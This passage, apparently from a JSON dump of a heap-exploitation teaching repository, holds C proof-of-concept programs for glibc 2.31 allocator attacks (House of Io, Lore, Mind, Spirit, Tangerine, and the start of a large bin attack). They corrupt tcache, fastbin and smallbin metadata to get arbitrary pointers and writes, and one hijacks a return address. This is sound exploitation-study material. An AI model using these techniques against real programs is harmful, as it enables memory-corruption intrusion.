    "content": "#include <assert.h>\n#include <malloc.h>\n#include <stdint.h>\n#include <stdio.h>\n#include <stdlib.h>\n\n// House of Io - Use after free Variant\n// ====================================\n//\n// Source: https://awaraucom.wordpress.com/2020/07/19/house-of-io-remastered/\n//\n// Tested on libc versions 2.31, 2.32 and 2.33.\n//\n// House of Io makes use of the fact, that when freeing a chunk into the tcache\n// the chunk will receive a pointer to the tcache management struct which has\n// been allocated beforehand. This pointer is the tcache->key entry of a free'd\n// tcache chunk. There are three different versions of this attack and all work\n// even with safe-link enabled, as the tcache-key pointer, and more importantly\n// the pointers in the tcache_perthread_struct, are not protected.\n//\n// House of Io only works in libc versions 2.29 - 2.33, because in these\n// versions the key of a tcache entry is the pointer to the tcache management\n// struct. This can allow an attacker to carry out a tcache_metadata_poisoning\n// attack.\n//\n// However the exploit primitives are very constrained as stated in the source.\n// Negative overflows are very rare and so is the needed order of specific frees\n// for the double free variant. This use after free is a bit more realistic.\n\nunsigned long global_var = 1;\n\nstruct overlay {\n  uint64_t *next;\n  uint64_t *key;\n};\n\nstruct tcache_perthread_struct {\n  uint16_t counts[64];\n  uint64_t entries[64];\n};\n\nint main() {\n  setbuf(stdin, NULL);\n  setbuf(stdout, NULL);\n\n  puts(\"In house of Io we make use of the fact, that a free'd tcache chunk\\n\"\n       \"gets a pointer to the tcache management struct inserted at the\\n\"\n       \"second slot.\\n\");\n\n  puts(\n      \"This variant is the use-after-free variant and can be used, if the\\n\"\n      \"free'd struct has a pointer at offset +0x08, which can be read from\\n\"\n      \"and written to. This pointer will be the tcache->key entry of the\\n\"\n      \"free'd chunk, which contains a pointer to the tcache management\\n\"\n      \"struct. If we use that pointer we can manipulate the tcache management\\n\"\n      \"struct into returning an arbitrary pointer.\\n\");\n\n  printf(\"Specifically we get a pointer to the `global_var` at %p returned to\\n\"\n         \"us from malloc.\\n\\n\",\n         &global_var);\n\n  puts(\"First we have to allocate a struct, that has a pointer at offset\\n\"\n       \"+0x08.\\n\");\n  struct overlay *ptr = malloc(sizeof(struct overlay));\n\n  ptr->next = malloc(0x10);\n  ptr->key = malloc(0x10);\n\n  puts(\"Then we immedietly free that struct to get a pointer to the tcache\\n\"\n       \"management struct.\\n\");\n  free(ptr);\n\n  printf(\"The tcache struct is located at %p.\\n\\n\", ptr->key);\n  struct tcache_perthread_struct *management_struct =\n      (struct tcache_perthread_struct *)ptr->key;\n\n  puts(\n      \"Now that we have a pointer to the management struct we can manipulate\\n\"\n      \"its values. First we potentially have to increase the counter of the\\n\"\n      \"first bin by to a number higher than zero, to make the tcache think we\\n\"\n      \"free'd at least one chunk. In our case this is not necesarry because\\n\"\n      \"the `overlay` struct fits in the first bin and we have free'd that\\n\"\n      \"already. The firest member of the tcache_perthread_struct is the array\\n\"\n      \"of counters. So by overwriting the first element of our pointer we set\\n\"\n      \"the correct value in the array.\\n\");\n  management_struct->counts[0] = 1;\n\n  printf(\"Before we overwrite the pointer in the tcache bin, the bin contains\\n\"\n         \"[ %p ]. This is the same as the free'd overlay struct which we\\n\"\n         \"created at the start [ %p == %p ].\\n\\n\",\n         management_struct->entries[0], management_struct->entries[0], ptr);\n  management_struct->entries[0] = (uint64_t)&global_var;\n  printf(\n      \"After the write we have placed a pointer to the global variable into\\n\"\n      \"the tcache [ %p ].\\n\\n\",\n      management_struct->entries[0]);\n\n  puts(\"If we now allocate a new chunk from that tcache bin we get a pointer\\n\"\n       \"to our target location.\\n\");\n  uint64_t *evil_chunk = malloc(0x10);\n\n  assert(evil_chunk == &global_var);\n  return 0;\n}\n"
  },
  {
    "path": "glibc_2.31/house_of_lore.c",
    "content": "/*\nAdvanced exploitation of the House of Lore - Malloc Maleficarum.\nThis PoC take care also of the glibc hardening of smallbin corruption.\n\n[ ... ]\n\nelse\n    {\n      bck = victim->bk;\n    if (__glibc_unlikely (bck->fd != victim)){\n\n                  errstr = \"malloc(): smallbin double linked list corrupted\";\n                  goto errout;\n                }\n\n       set_inuse_bit_at_offset (victim, nb);\n       bin->bk = bck;\n       bck->fd = bin;\n\n       [ ... ]\n\n*/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <stdint.h>\n#include <assert.h>\n\nvoid jackpot(){ fprintf(stderr, \"Nice jump d00d\\n\"); exit(0); }\n\nint main(int argc, char * argv[]){\n\n\n  intptr_t* stack_buffer_1[4] = {0};\n  intptr_t* stack_buffer_2[4] = {0};\n  void* fake_freelist[7][4];\n\n  fprintf(stderr, \"\\nWelcome to the House of Lore\\n\");\n  fprintf(stderr, \"This is a revisited version that bypass also the hardening check introduced by glibc malloc\\n\");\n  fprintf(stderr, \"This is tested against Ubuntu 20.04.2 - 64bit - glibc-2.31\\n\\n\");\n\n  fprintf(stderr, \"Allocating the victim chunk\\n\");\n  intptr_t *victim = malloc(0x100);\n  fprintf(stderr, \"Allocated the first small chunk on the heap at %p\\n\", victim);\n\n  fprintf(stderr, \"Allocating dummy chunks for using up tcache later\\n\");\n  void *dummies[7];\n  for(int i=0; i<7; i++) dummies[i] = malloc(0x100);\n\n  // victim-WORD_SIZE because we need to remove the header size in order to have the absolute address of the chunk\n  intptr_t *victim_chunk = victim-2;\n\n  fprintf(stderr, \"stack_buffer_1 at %p\\n\", (void*)stack_buffer_1);\n  fprintf(stderr, \"stack_buffer_2 at %p\\n\", (void*)stack_buffer_2);\n\n  fprintf(stderr, \"Create a fake free-list on the stack\\n\");\n  for(int i=0; i<6; i++) {\n    fake_freelist[i][3] = fake_freelist[i+1];\n  }\n  fake_freelist[6][3] = NULL;\n  fprintf(stderr, \"fake free-list at %p\\n\", fake_freelist);\n\n  fprintf(stderr, \"Create a fake chunk on the stack\\n\");\n  fprintf(stderr, \"Set the fwd pointer to the victim_chunk in order to bypass the check of small bin corrupted\"\n         \"in second to the last malloc, which putting stack address on smallbin list\\n\");\n  stack_buffer_1[0] = 0;\n  stack_buffer_1[1] = 0;\n  stack_buffer_1[2] = victim_chunk;\n\n  fprintf(stderr, \"Set the bk pointer to stack_buffer_2 and set the fwd pointer of stack_buffer_2 to point to stack_buffer_1 \"\n         \"in order to bypass the check of small bin corrupted in last malloc, which returning pointer to the fake \"\n         \"chunk on stack\");\n  stack_buffer_1[3] = (intptr_t*)stack_buffer_2;\n  stack_buffer_2[2] = (intptr_t*)stack_buffer_1;\n\n  fprintf(stderr, \"Set the bck pointer of stack_buffer_2 to the fake free-list in order to prevent crash prevent crash \"\n          \"introduced by smallbin-to-tcache mechanism\\n\");\n  stack_buffer_2[3] = (intptr_t *)fake_freelist[0];\n  \n  fprintf(stderr, \"Allocating another large chunk in order to avoid consolidating the top chunk with\"\n         \"the small one during the free()\\n\");\n  void *p5 = malloc(1000);\n  fprintf(stderr, \"Allocated the large chunk on the heap at %p\\n\", p5);\n\n\n  fprintf(stderr, \"Freeing dummy chunk\\n\");\n  for(int i=0; i<7; i++) free(dummies[i]);\n  fprintf(stderr, \"Freeing the chunk %p, it will be inserted in the unsorted bin\\n\", victim);\n  free((void*)victim);\n\n  fprintf(stderr, \"\\nIn the unsorted bin the victim's fwd and bk pointers are the unsorted bin's header address (libc addresses)\\n\");\n  fprintf(stderr, \"victim->fwd: %p\\n\", (void *)victim[0]);\n  fprintf(stderr, \"victim->bk: %p\\n\\n\", (void *)victim[1]);\n\n  fprintf(stderr, \"Now performing a malloc that can't be handled by the UnsortedBin, nor the small bin\\n\");\n  fprintf(stderr, \"This means that the chunk %p will be inserted in front of the SmallBin\\n\", victim);\n\n  void *p2 = malloc(1200);\n  fprintf(stderr, \"The chunk that can't be handled by the unsorted bin, nor the SmallBin has been allocated to %p\\n\", p2);\n\n  fprintf(stderr, \"The victim chunk has been sorted and its fwd and bk pointers updated\\n\");\n  fprintf(stderr, \"victim->fwd: %p\\n\", (void *)victim[0]);\n  fprintf(stderr, \"victim->bk: %p\\n\\n\", (void *)victim[1]);\n\n  //------------VULNERABILITY-----------\n\n  fprintf(stderr, \"Now emulating a vulnerability that can overwrite the victim->bk pointer\\n\");\n\n  victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack\n\n  //------------------------------------\n  fprintf(stderr, \"Now take all dummies chunk in tcache out\\n\");\n  for(int i=0; i<7; i++) malloc(0x100);\n\n\n  fprintf(stderr, \"Now allocating a chunk with size equal to the first one freed\\n\");\n  fprintf(stderr, \"This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer\\n\");\n\n  void *p3 = malloc(0x100);\n\n  fprintf(stderr, \"This last malloc should trick the glibc malloc to return a chunk at the position injected in bin->bk\\n\");\n  char *p4 = malloc(0x100);\n  fprintf(stderr, \"p4 = malloc(0x100)\\n\");\n\n  fprintf(stderr, \"\\nThe fwd pointer of stack_buffer_2 has changed after the last malloc to %p\\n\",\n         stack_buffer_2[2]);\n\n  fprintf(stderr, \"\\np4 is %p and should be on the stack!\\n\", p4); // this chunk will be allocated on stack\n  intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode\n\n  long offset = (long)__builtin_frame_address(0) - (long)p4;\n  memcpy((p4+offset+8), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary\n\n  // sanity check\n  assert((long)__builtin_return_address(0) == (long)jackpot);\n}\n"
  },
  {
    "path": "glibc_2.31/house_of_mind_fastbin.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n#include <stdint.h>\n#include <assert.h>\n\n/*\n\nHouse of Mind - Fastbin Variant\n==========================\n\nThis attack is similar to the original 'House of Mind' in that it uses\na fake non-main arena in order to write to a new location. This\nuses the fastbin for a WRITE-WHERE primitive in the 'fastbin'\nvariant of the original attack though. The original write for this\ncan be found at https://dl.packetstormsecurity.net/papers/attack/MallocMaleficarum.txt with a more recent post (by me) at https://maxwelldulin.com/BlogPost?post=2257705984. \n\nBy being able to allocate an arbitrary amount of chunks, a single byte\noverwrite on a chunk size and a memory leak, we can control a super\npowerful primitive. \n\nThis could be used in order to write a freed pointer to an arbitrary\nlocation (which seems more useful). Or, this could be used as a\nwrite-large-value-WHERE primitive (similar to unsortedbin attack). \n Both are interesting in their own right though but the first\noption is the most powerful primitive, given the right setting.\n\nMalloc chunks have a specified size and this size information\nspecial metadata properties (prev_inuse, mmap chunk and non-main arena). \nThe usage of non-main arenas is the focus of this exploit. For more information \non this, read https://sploitfun.wordpress.com/2015/02/10/understanding-glibc-malloc/. \n\nFirst, we need to understand HOW the non-main arena is known from a chunk.\n\nThis the 'heap_info' struct: \n\nstruct _heap_info\n{\n  mstate ar_ptr;           // Arena for this heap. <--- Malloc State pointer\n  struct _heap_info *prev; // Previous heap.\n  size_t size;            // Current size in bytes.\n  size_t mprotect_size;   // Size in bytes that has been mprotected\n  char pad[-6 * SIZE_SZ & MALLOC_ALIGN_MASK]; // Proper alignment\n} heap_info; \n- https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/arena.c#L48\n\nThe important thing to note is that the 'malloc_state' within\nan arena is grabbed from the ar_ptr, which is the FIRST entry \nof this. Malloc_state == mstate == arena \n\nThe main arena has a special pointer. However, non-main arenas (mstate)\nare at the beginning of a heap section. They are grabbed with the \nfollowing code below, where the user controls the 'ptr' in 'arena_for_chunk':\n\n#define heap_for_ptr(ptr) \\\n  ((heap_info *) ((unsigned long) (ptr) & ~(HEAP_MAX_SIZE - 1)))\n#define arena_for_chunk(ptr) \\\n  (chunk_non_main_arena (ptr) ? heap_for_ptr (ptr)->ar_ptr : &main_arena)\n- https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/arena.c#L127\n\nThis macro takes the 'ptr' and subtracts a large value because the \n'heap_info' should be at the beginning of this heap section. Then, \nusing this, it can find the 'arena' to use. \n\nThe idea behind the attack is to use a fake arena to write pointers \nto locations where they should not go but abusing the 'arena_for_chunk' \nfunctionality when freeing a fastbin chunk.\n\nThis POC does the following things: \n- Finds a valid arena location for a non-main arena.\n- Allocates enough heap chunks to get to the non-main arena location where \n  we can control the values of the arena data. \n- Creates a fake 'heap_info' in order to specify the 'ar_ptr' to be used as the arena later.\n- Using this fake arena (ar_ptr), we can use the fastbin to write\n  to an unexpected location of the 'ar_ptr' with a heap pointer. \n\nRequirements: \n- A heap leak in order to know where the fake 'heap_info' is located at.\n\t- Could be possible to avoid with special spraying techniques\n- An unlimited amount of allocations\n- A single byte overflow on the size of a chunk\n\t- NEEDS to be possible to put into the fastbin. \n\t- So, either NO tcache or the tcache needs to be filled. \n- The location of the malloc state(ar_ptr) needs to have a value larger\n  than the fastbin size being freed at malloc_state.system_mem otherwise\n  the chunk will be assumed to be invalid.\n\t- This can be manually inserted or CAREFULLY done by lining up\n\t  values in a proper way. \n- The NEXT chunk, from the one that is being freed, must be a valid size\n(again, greater than 0x20 and less than malloc_state.system_mem)\n\n\nRandom perks:\n- Can be done MULTIPLE times at the location, with different sized fastbin\n  chunks. \n- Does not brick malloc, unlike the unsorted bin attack. \n- Only has three requirements: Infinite allocations, single byte buffer overflowand a heap memory leak. \n\n\n\n************************************\nWritten up by Maxwell Dulin (Strikeout) \n************************************\n*/\n\nint main(){\n\n\tprintf(\"House of Mind - Fastbin Variant\\n\");\n\tputs(\"==================================\");\n\tprintf(\"The goal of this technique is to create a fake arena\\n\");\n\tprintf(\"at an offset of HEAP_MAX_SIZE\\n\");\n\t\n\tprintf(\"Then, we write to the fastbins when the chunk is freed\\n\");\n\tprintf(\"This creates a somewhat constrained WRITE-WHERE primitive\\n\");\n\t// Values for the allocation information.\t\n\tint HEAP_MAX_SIZE = 0x4000000;\n\tint MAX_SIZE = (128*1024) - 0x100; // MMap threshold: https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L635\n\n\tprintf(\"Find initial location of the heap\\n\");\n\t// The target location of our attack and the fake arena to use\n\tuint8_t* fake_arena = malloc(0x1000); \n\tuint8_t* target_loc = fake_arena + 0x30;\n\n\tuint8_t* target_chunk = (uint8_t*) fake_arena - 0x10;\n\n\t/*\n\tPrepare a valid 'malloc_state' (arena) 'system_mem' \n\tto store a fastbin. This is important because the size\n\tof a chunk is validated for being too small or too large\n\tvia the 'system_mem' of the 'malloc_state'. This just needs\n\tto be a value larger than our fastbin chunk.\n\t*/\n\tprintf(\"Set 'system_mem' (offset 0x888) for fake arena\\n\");\n\tfake_arena[0x888] = 0xFF;\n\tfake_arena[0x889] = 0xFF; \n\tfake_arena[0x88a] = 0xFF; \n\n\tprintf(\"Target Memory Address for overwrite: %p\\n\", target_loc);\n\tprintf(\"Must set data at HEAP_MAX_SIZE (0x%x) offset\\n\", HEAP_MAX_SIZE);\n\n\t// Calculate the location of our fake arena\n\tuint64_t new_arena_value = (((uint64_t) target_chunk) + HEAP_MAX_SIZE) & ~(HEAP_MAX_SIZE - 1);\n\tuint64_t* fake_heap_info = (uint64_t*) new_arena_value;\n\n\tuint64_t* user_mem = malloc(MAX_SIZE);\n\tprintf(\"Fake Heap Info struct location: %p\\n\", fake_heap_info);\n\tprintf(\"Allocate until we reach a MAX_HEAP_SIZE offset\\n\");\t\n\n\t/* \n\tThe fake arena must be at a particular offset on the heap.\n\tSo, we allocate a bunch of chunks until our next chunk\n\twill be in the arena. This value was calculated above.\n\t*/\n\twhile((long long)user_mem < new_arena_value){\n\t\tuser_mem = malloc(MAX_SIZE);\n\t}\n\n\t// Use this later to trigger craziness\n\tprintf(\"Create fastbin sized chunk to be victim of attack\\n\");\n\tuint64_t* fastbin_chunk = malloc(0x50); // Size of 0x60\n\tuint64_t* chunk_ptr = fastbin_chunk - 2; // Point to chunk instead of mem\n\tprintf(\"Fastbin Chunk to overwrite: %p\\n\", fastbin_chunk);\n\n\tprintf(\"Fill up the TCache so that the fastbin will be used\\n\");\n\t// Fill the tcache to make the fastbin to be used later. \n\tuint64_t* tcache_chunks[7];\n\tfor(int i = 0; i < 7; i++){\n\t\ttcache_chunks[i] = malloc(0x50);\n\t}\t\n\tfor(int i = 0; i < 7; i++){\n\t\tfree(tcache_chunks[i]);\n\t}\n\n\n\t/*\n\tCreate a FAKE malloc_state pointer for the heap_state\n\tThis is the 'ar_ptr' of the 'heap_info' struct shown above. \n\tThis is the first entry in the 'heap_info' struct at offset 0x0\n\t at the heap.\n\n\tWe set this to the location where we want to write a value to.\n\tThe location that gets written to depends on the fastbin chunk\n\tsize being freed. This will be between an offset of 0x8 and 0x40\n\tbytes. For instance, a chunk with a size of 0x20 would be in the\n\t0th index of fastbinsY struct. When this is written to, we will\n\twrite to an offset of 8 from the original value written.\n\t- https://elixir.bootlin.com/glibc/glibc-2.23/source/malloc/malloc.c#L1686\n\t*/\n\tprintf(\"Setting 'ar_ptr' (our fake arena)  in heap_info struct to %p\\n\", fake_arena);\n\tfake_heap_info[0] = (uint64_t) fake_arena; // Setting the fake ar_ptr (arena)\n\tprintf(\"Target Write at %p prior to exploitation: 0x%x\\n\", target_loc, *(target_loc));\n\n\t/*\n\tSet the non-main arena bit on the size. \n\tAdditionally, we keep the size the same as the original\n\tallocation because there is a sanity check on the fastbin (when freeing)\n\tthat the next chunk has a valid size. \n\n\tWhen grabbing the non-main arena, it will use our choosen arena!\n\tFrom there, it will write to the fastbin because of the size of the\n\tchunk.\n\n\t///// Vulnerability! Overwriting the chunk size \n\t*/\n\tprintf(\"Set non-main arena bit on the fastbin chunk\\n\");\n\tputs(\"NOTE: This keeps the next chunk size valid because the actual chunk size was never changed\\n\");\n\tchunk_ptr[1] = 0x60 | 0x4; // Setting the non-main arena bit\n\n\t//// End vulnerability \n\n\t/*\n\tThe offset being written to with the fastbin chunk address\n\tdepends on the fastbin BEING used and the malloc_state itself. \n\tIn 2.31, the offset from the beginning of the malloc_state\n\tto the fastbinsY array is 0x10. Then, fastbinsY[0x4] is an \n\tadditional byte offset of 0x20. In total, the writing offset\n\tfrom the arena location is 0x30 bytes.\n\tfrom the arena location to where the write actually occurs. \n\tThis is a similar concept to bk - 0x10 from the unsorted\n\tbin attack. \n\t*/\n\n\tprintf(\"When we free the fastbin chunk with the non-main arena bit\\n\");\n\tprintf(\"set, it will cause our fake 'heap_info' struct to be used.\\n\");\n\tprintf(\"This will dereference our fake arena location and write\\n\");\n\tprintf(\"the address of the heap to an offset of the arena pointer.\\n\");\n\n\tprintf(\"Trigger the magic by freeing the chunk!\\n\");\n\tfree(fastbin_chunk); // Trigger the madness\n\n\t// For this particular fastbin chunk size, the offset is 0x28. \n\tprintf(\"Target Write at %p: 0x%llx\\n\", target_loc, *((unsigned long long*) (target_loc)));\n\tassert(*((unsigned long *) (target_loc)) != 0);\n}\n"
  },
  {
    "path": "glibc_2.31/house_of_spirit.c",
    "content": "#include <stdio.h>\n#include <stdlib.h>\n#include <assert.h>\n\nint main()\n{\n\tsetbuf(stdout, NULL);\n\n\tputs(\"This file demonstrates the house of spirit attack.\");\n\tputs(\"This attack adds a non-heap pointer into fastbin, thus leading to (nearly) arbitrary write.\");\n\tputs(\"Required primitives: known target address, ability to set up the start/end of the target memory\");\n\n\tputs(\"\\nStep 1: Allocate 7 chunks and free them to fill up tcache\");\n\tvoid *chunks[7];\n\tfor(int i=0; i<7; i++) {\n\t\tchunks[i] = malloc(0x30);\n\t}\n\tfor(int i=0; i<7; i++) {\n\t\tfree(chunks[i]);\n\t}\n\n\tputs(\"\\nStep 2: Prepare the fake chunk\");\n\t// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)\n\tlong fake_chunks[10] __attribute__ ((aligned (0x10)));\n\tprintf(\"The target fake chunk is at %p\\n\", fake_chunks);\n\tprintf(\"It contains two chunks. The first starts at %p and the second at %p.\\n\", &fake_chunks[1], &fake_chunks[9]);\n\tprintf(\"This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\\n\");\n\tputs(\"... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end.\");\n\tprintf(\"Now set the size of the chunk (%p) to 0x40 so malloc will think it is a valid chunk.\\n\", &fake_chunks[1]);\n\tfake_chunks[1] = 0x40; // this is the size\n\n\tprintf(\"The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\\n\");\n\tprintf(\"Set the size of the chunk (%p) to 0x1234 so freeing the first chunk can succeed.\\n\", &fake_chunks[9]);\n\tfake_chunks[9] = 0x1234; // nextsize\n\n\tputs(\"\\nStep 3: Free the first fake chunk\");\n\tputs(\"Note that the address of the fake chunk must be 16-byte aligned.\\n\");\n\tvoid *victim = &fake_chunks[2];\n\tfree(victim);\n\n\tputs(\"\\nStep 4: Take out the fake chunk\");\n\tprintf(\"Now the next calloc will return our fake chunk at %p!\\n\", &fake_chunks[2]);\n\tprintf(\"malloc can do the trick as well, you just need to do it for 8 times.\");\n\tvoid *allocated = calloc(1, 0x30);\n\tprintf(\"malloc(0x30): %p, fake chunk: %p\\n\", allocated, victim);\n\n\tassert(allocated == victim);\n}\n"
  },
  {
    "path": "glibc_2.31/house_of_tangerine.c",
    "content": "#define _GNU_SOURCE\n\n#include <stdio.h>\n#include <string.h>\n#include <assert.h>\n#include <malloc.h>\n#include <unistd.h>\n\n#define SIZE_SZ sizeof(size_t)\n\n#define CHUNK_HDR_SZ (SIZE_SZ*2)\n// same for x86_64 and x86\n#define MALLOC_ALIGN 0x10L\n#define MALLOC_MASK (-MALLOC_ALIGN)\n\n#define PAGESIZE sysconf(_SC_PAGESIZE)\n#define PAGE_MASK (PAGESIZE-1)\n\n// fencepost are offsets removed from the top before freeing\n#define FENCEPOST (2*CHUNK_HDR_SZ)\n\n#define PROBE (0x20-CHUNK_HDR_SZ)\n\n// size used for poisoned tcache\n#define CHUNK_SIZE_1 0x40\n#define SIZE_1 (CHUNK_SIZE_1-CHUNK_HDR_SZ)\n\n// could also be split into multiple lower size allocations\n#define CHUNK_SIZE_3 (PAGESIZE-(2*MALLOC_ALIGN)-CHUNK_SIZE_1)\n#define SIZE_3 (CHUNK_SIZE_3-CHUNK_HDR_SZ)\n\n/**\n * Tested on GLIBC 2.27 (x86_64, x86 & aarch64) & 2.31 (x86_64, x86 & aarch64)\n *\n * House of Tangerine is the modernized version of House of Orange\n * and is able to corrupt heap without needing to call free() directly\n *\n * it uses the _int_free call to the top_chunk (wilderness) in sysmalloc\n * https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2913\n *\n * tcache-poisoning is used to trick malloc into returning a malloc aligned arbitrary pointer\n * by abusing the tcache freelist. (requires heap leak on and after 2.32)\n *\n * this version expects a positive and negative OOB (e.g. BOF)\n * or a positive OOB in editing a previous chunk\n *\n * This version requires 5 (6*) malloc calls and 3 OOB\n *\n *  *to make the PoC more reliable we need to malloc and probe the current top chunk size,\n *  this should be predictable in an actual exploit and therefore, can be removed to get 5 malloc calls instead\n *\n * Special Thanks to pepsipu for creating the challenge \"High Frequency Troubles\"\n * from Pico CTF 2024 that inspired this exploitation technique\n */\nint main() {\n  size_t size_2, *top_size_ptr, top_size, new_top_size, freed_top_size, vuln_tcache, target, *heap_ptr;\n  char win[0x10] = \"WIN\\0WIN\\0WIN\\0\\x06\\xfe\\x1b\\xe2\";\n  // disable buffering\n  setvbuf(stdout, NULL, _IONBF, 0);\n  setvbuf(stdin, NULL, _IONBF, 0);\n  setvbuf(stderr, NULL, _IONBF, 0);\n\n  // check if all chunks sizes are aligned\n  assert((CHUNK_SIZE_1 & MALLOC_MASK) == CHUNK_SIZE_1);\n  assert((CHUNK_SIZE_3 & MALLOC_MASK) == CHUNK_SIZE_3);\n\n  puts(\"Constants:\");\n  printf(\"chunk header = 0x%lx\\n\", CHUNK_HDR_SZ);\n  printf(\"malloc align = 0x%lx\\n\", MALLOC_ALIGN);\n  printf(\"page align = 0x%lx\\n\", PAGESIZE);\n  printf(\"fencepost size = 0x%lx\\n\", FENCEPOST);\n  printf(\"size_1 = 0x%lx\\n\", SIZE_1);\n\n  printf(\"target tcache top size = 0x%lx\\n\", CHUNK_HDR_SZ + MALLOC_ALIGN + CHUNK_SIZE_1);\n\n  // target is malloc aligned 0x10\n  target = ((size_t) win + (MALLOC_ALIGN - 1)) & MALLOC_MASK;\n\n  // probe the current size of the top_chunk,\n  // can be skipped if it is already known or predictable\n  heap_ptr = malloc(PROBE);\n  top_size = heap_ptr[(PROBE / SIZE_SZ) + 1];\n  printf(\"first top size = 0x%lx\\n\", top_size);\n\n  // calculate size_2\n\n  size_2 = top_size - CHUNK_HDR_SZ - (2 * MALLOC_ALIGN) - CHUNK_SIZE_1;\n  size_2 &= PAGE_MASK;\n  size_2 &= MALLOC_MASK;\n\n\n  printf(\"size_2 = 0x%lx\\n\", size_2);\n\n  // first allocation \n  heap_ptr = malloc(size_2);\n\n  // use BOF or OOB to corrupt the top_chunk\n  top_size_ptr = &heap_ptr[(size_2 / SIZE_SZ) - 1 + (MALLOC_ALIGN / SIZE_SZ)];\n\n  top_size = *top_size_ptr;\n\n  printf(\"first top size = 0x%lx\\n\", top_size);\n\n  // make sure corrupt top size is page aligned, generally 0x1000\n  // https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2599\n  new_top_size = top_size & PAGE_MASK;\n  *top_size_ptr = new_top_size;\n  printf(\"new first top size = 0x%lx\\n\", new_top_size);\n\n  // remove fencepost from top_chunk, to get size that will be freed\n  // https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2895\n  freed_top_size = (new_top_size - FENCEPOST) & MALLOC_MASK;\n  assert(freed_top_size == CHUNK_SIZE_1);\n\n  /*\n   * malloc (larger than available_top_size), to free previous top_chunk using _int_free.\n   * This happens inside sysmalloc, where the top_chunk gets freed if it can't be merged\n   * https://elixir.bootlin.com/glibc/glibc-2.39/source/malloc/malloc.c#L2913\n   * we prevent the top_chunk from being merged by lowering its size\n   * we can also circumvent corruption checks by keeping PAGE_MASK bits unchanged\n   */\n\n  printf(\"size_3 = 0x%lx\\n\", SIZE_3);\n  heap_ptr = malloc(SIZE_3);\n\n  top_size = heap_ptr[(SIZE_3 / SIZE_SZ) + 1];\n  printf(\"current top size = 0x%lx\\n\", top_size);\n\n  // make sure corrupt top size is page aligned, generally 0x1000\n  new_top_size = top_size & PAGE_MASK;\n  heap_ptr[(SIZE_3 / SIZE_SZ) + 1] = new_top_size;\n  printf(\"new top size = 0x%lx\\n\", new_top_size);\n\n  // remove fencepost from top_chunk, to get size that will be freed\n  freed_top_size = (new_top_size - FENCEPOST) & MALLOC_MASK;\n  printf(\"freed top_chunk size = 0x%lx\\n\", freed_top_size);\n\n  assert(freed_top_size == CHUNK_SIZE_1);\n\n  // this will be our vuln_tcache for tcache poisoning\n  vuln_tcache = (size_t) &heap_ptr[(SIZE_3 / SIZE_SZ) + 2];\n\n  printf(\"tcache next ptr: 0x%lx\\n\", vuln_tcache);\n\n  // free the previous top_chunk\n  heap_ptr = malloc(SIZE_3);\n\n  // corrupt next ptr into pointing to target\n  heap_ptr[(vuln_tcache - (size_t) heap_ptr) / SIZE_SZ] = target;\n\n  // allocate first tcache (corrupt next tcache bin)\n  heap_ptr = malloc(SIZE_1);\n\n  // get arbitrary ptr for reads or writes\n  heap_ptr = malloc(SIZE_1);\n\n  // proof that heap_ptr now points to the same string as target\n  assert((size_t) heap_ptr == target);\n  puts((char *) heap_ptr);\n}\n"
  },
  {
    "path": "glibc_2.31/large_bin_attack.c",
    "content": "#include<stdio.h>\n#include<stdlib.h>\n#include<assert.h>\n\n/*\n\nA revisit to large bin attack for after glibc2.30\n\nRelevant code snippet :\n\n\tif ((unsigned long) (size) < (unsigned long) chunksize_nomask (bck->bk)){\n\t\tfwd = bck;\n\t\tbck = bck->bk;\n\t\tvictim->fd_nextsize = fwd->fd;\n\t\tvictim->bk_nextsize = fwd->fd->bk_nextsize;\n\t\tfwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;\n\t}\n\n\n*/\n\nint main(){\n  /*Disable IO buffering to prevent stream from interfering with heap*/\n  setvbuf(stdin,NULL,_IONBF,0);\n  setvbuf(stdout,NULL,_IONBF,0);\n  setvbuf(stderr,NULL,_IONBF,0);\n\n  printf(\"\\n\\n\");\n  printf(\"Since glibc2.30, two new checks have been enforced on large bin chunk insertion\\n\\n\");\n  printf(\"Check 1 : \\n\");\n  printf(\">    if (__glibc_unlikely (fwd->bk_nextsize->fd_nextsize != fwd))\\n\");\n  printf(\">        malloc_printerr (\\\"malloc(): largebin double linked list corrupted (nextsize)\\\");\\n\");\n  printf(\"Check 2 : \\n\");\n  printf(\">    if (bck->fd != fwd)\\n\");\n  printf(\">        malloc_printerr (\\\"malloc(): largebin double linked list corrupted (bk)\\\");\\n\\n\");\n  printf(\"This prevents the traditional large bin attack\\n\");\n  printf(\"However, there is still one possible path to trigger large bin attack. The PoC is shown below : \\n\\n\");\n  \n  printf(\"====================================================================\\n\\n\");\n\n  size_t target = 0;\n  printf(\"Here is the target we want to overwrite (%p) : %lu\\n\\n\",&target,target);\n  size_t *p1 = malloc(0x428);\n  printf(\"First, we allocate a large chunk [p1] (%p)\\n\",p1-2);\n  size_t *g1 = malloc(0x18);\n  printf(\"And another chunk to prevent consolidate\\n\");\n\n  printf(\"\\n\");\n\n  size_t *p2 = malloc(0x418);\n  printf(\"We also allocate a second large chunk [p2]  (%p).\\n\",p2-2);\n  printf(\"This chunk should be smaller than [p1] and belong to the same large bin.\\n\");\n  size_t *g2 = malloc(0x18);\n  